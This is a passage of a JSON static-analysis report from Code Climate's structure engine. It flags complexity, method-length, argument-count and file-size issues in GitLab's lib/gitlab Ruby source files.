refactoring.","fingerprint":"34c8251c050af78b0e432e62b3bf6eaf","location":{"path":"lib/gitlab/data_builder/push.rb","lines":{"begin":56,"end":56}},"other_locations":[],"remediation_points":525000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `build` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e5d84ee4338c67ad951b6130bf67d21a","location":{"path":"lib/gitlab/data_builder/push.rb","lines":{"begin":56,"end":98}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `build` has 49 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ac9809b4ea4dd090261cab4784070118","location":{"path":"lib/gitlab/data_builder/build.rb","lines":{"begin":6,"end":68}},"other_locations":[],"remediation_points":1176000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `absolute_image_urls` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b291bb28522abd9dde68b0387000c263","location":{"path":"lib/gitlab/hook_data/base_builder.rb","lines":{"begin":22,"end":35}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `safe_hook_attributes` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"682e99b5b83244042ccc251929255272","location":{"path":"lib/gitlab/hook_data/merge_request_builder.rb","lines":{"begin":4,"end":32}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `gitaly_client.rb` has 321 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"aa680293a25a35a2aacd0db231b38fc3","location":{"path":"lib/gitlab/gitaly_client.rb","lines":{"begin":1,"end":484}},"other_locations":[],"remediation_points":2222400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"96a0315d42972363e3be0faaf33fcff8","location":{"path":"lib/gitlab/gitaly_client.rb","lines":{"begin":124,"end":149}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `request_kwargs` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"62070bc24b2fd5133e0a7beab00d9b77","location":{"path":"lib/gitlab/gitaly_client.rb","lines":{"begin":197,"end":221}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `feature_enabled?` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"731633ec642f522eb73bf54d30cc752d","location":{"path":"lib/gitlab/gitaly_client.rb","lines":{"begin":239,"end":269}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `enforce_gitaly_request_limits` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a75016ab6541606469d82939c599b4ad","location":{"path":"lib/gitlab/gitaly_client.rb","lines":{"begin":317,"end":340}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `issues` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"625fb557175f1173f5275a5c774ad3d6","location":{"path":"lib/gitlab/reference_extractor.rb","lines":{"begin":34,"end":45}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `metrics` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"77acda463966e33d89aa2e8120528ca8","location":{"path":"lib/gitlab/health_checks/simple_abstract_check.rb","lines":{"begin":17,"end":25}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `profile` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fee59aefc8f7079890f207651b7981f0","location":{"path":"lib/gitlab/profiler.rb","lines":{"begin":38,"end":79}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `debug` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fdc82615456346012b61b614b718e980","location":{"path":"lib/gitlab/profiler.rb","lines":{"begin":91,"end":109}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `protected_branch_push_checks` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"32eb78f0c97e724ad8a8d5553b542d3f","location":{"path":"lib/gitlab/checks/change_access.rb","lines":{"begin":89,"end":99}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `protected_tag_checks` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"06f719f8ef5751a719db79c5e8c24be7","location":{"path":"lib/gitlab/checks/change_access.rb","lines":{"begin":111,"end":120}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `ChangeAccess` has 25 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"c155eb2e64ad1ed777bca59ce76dbaef","location":{"path":"lib/gitlab/checks/change_access.rb","lines":{"begin":3,"end":214}},"other_locations":[],"remediation_points":1700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8ee7f543cac7d3fb2d03c2cf82f45f09","location":{"path":"lib/gitlab/checks/commit_check.rb","lines":{"begin":16,"end":28}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `stop` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0578d528100ce788878962a15cbeec2a","location":{"path":"lib/gitlab/daemon.rb","lines":{"begin":39,"end":51}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `verification_status` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"278e4598e8040e0a02ba62435277a8b2","location":{"path":"lib/gitlab/gpg/commit.rb","lines":{"begin":100,"end":112}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `initialize` has 7 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"26ed72f706cbd880946abd65775661b1","location":{"path":"lib/gitlab/bitbucket_server_import/project_creator.rb","lines":{"begin":6,"end":6}},"other_locations":[],"remediation_points":525000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `importer.rb` has 275 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"144e11b64a9050685cd582324f4c5650","location":{"path":"lib/gitlab/bitbucket_server_import/importer.rb","lines":{"begin":3,"end":388}},"other_locations":[],"remediation_points":1560000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Importer` has 28 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"fe99b8de0e4e755d01efc8644f28aa32","location":{"path":"lib/gitlab/bitbucket_server_import/importer.rb","lines":{"begin":5,"end":386}},"other_locations":[],"remediation_points":2000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ensure_hash` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"32c1c4d58157c12dafbd9c492c51a5aa","location":{"path":"lib/gitlab/graphql/variables.rb","lines":{"begin":17,"end":34}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `instrument` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d95b586a43aa6e99b3f767263ce65d16","location":{"path":"lib/gitlab/graphql/present/instrumentation.rb","lines":{"begin":5,"end":32}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `instrument` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7b1d8edac9e190461296777cc29e22e5","location":{"path":"lib/gitlab/graphql/authorize/instrumentation.rb","lines":{"begin":10,"end":31}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `instrument_methods` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d1438aadd557c25b108eea0106855664","location":{"path":"lib/gitlab/metrics/instrumentation.rb","lines":{"begin":70,"end":81}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `instrument_instance_methods` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"eb2114fa42977c795cf347169a0f542c","location":{"path":"lib/gitlab/metrics/instrumentation.rb","lines":{"begin":88,"end":99}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `instrument` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bca595f2e9128a833295cec69e8c1e4e","location":{"path":"lib/gitlab/metrics/instrumentation.rb","lines":{"begin":118,"end":167}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `instrument` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"46dbb1e9f69c06f7d078548fc6061570","location":{"path":"lib/gitlab/metrics/instrumentation.rb","lines":{"begin":118,"end":167}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `submit` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b4ef0ec3fde55c4188a9f170e0f50760","location":{"path":"lib/gitlab/metrics/transaction.rb","lines":{"begin":114,"end":129}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `submit_metrics` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9b54961b8f59db3e5122c4208ded0a04","location":{"path":"lib/gitlab/metrics/influx_db.rb","lines":{"begin":48,"end":62}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `pool` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"85d4413ec95715375e2c5ed3923bf252","location":{"path":"lib/gitlab/metrics/influx_db.rb","lines":{"begin":165,"end":181}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `measure` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9ce1cb49fa0e90749c14924f01742eab","location":{"path":"lib/gitlab/metrics/influx_db.rb","lines":{"begin":95,"end":133}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `initialize` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"04b6cf203bf783b43e1ac1b54b888441","location":{"path":"lib/gitlab/fogbugz_import/project_creator.rb","lines":{"begin":6,"end":6}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `format_issue_comment_body` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"1ec61e94902238cc9befa5a1daf367e9","location":{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":279,"end":279}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_cases` has a Cognitive Complexity of 16 (exceeds 5 allowed). Consider refactoring.","fingerprint":"deff1dce2bf92e8e8a73a7dad5c4c5c9","location":{"path":"lib/gitlab/fogbugz_import/importer.rb","lines":{"begin":102,"end":146}},"other_locations":[],"remediation_points":1250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to 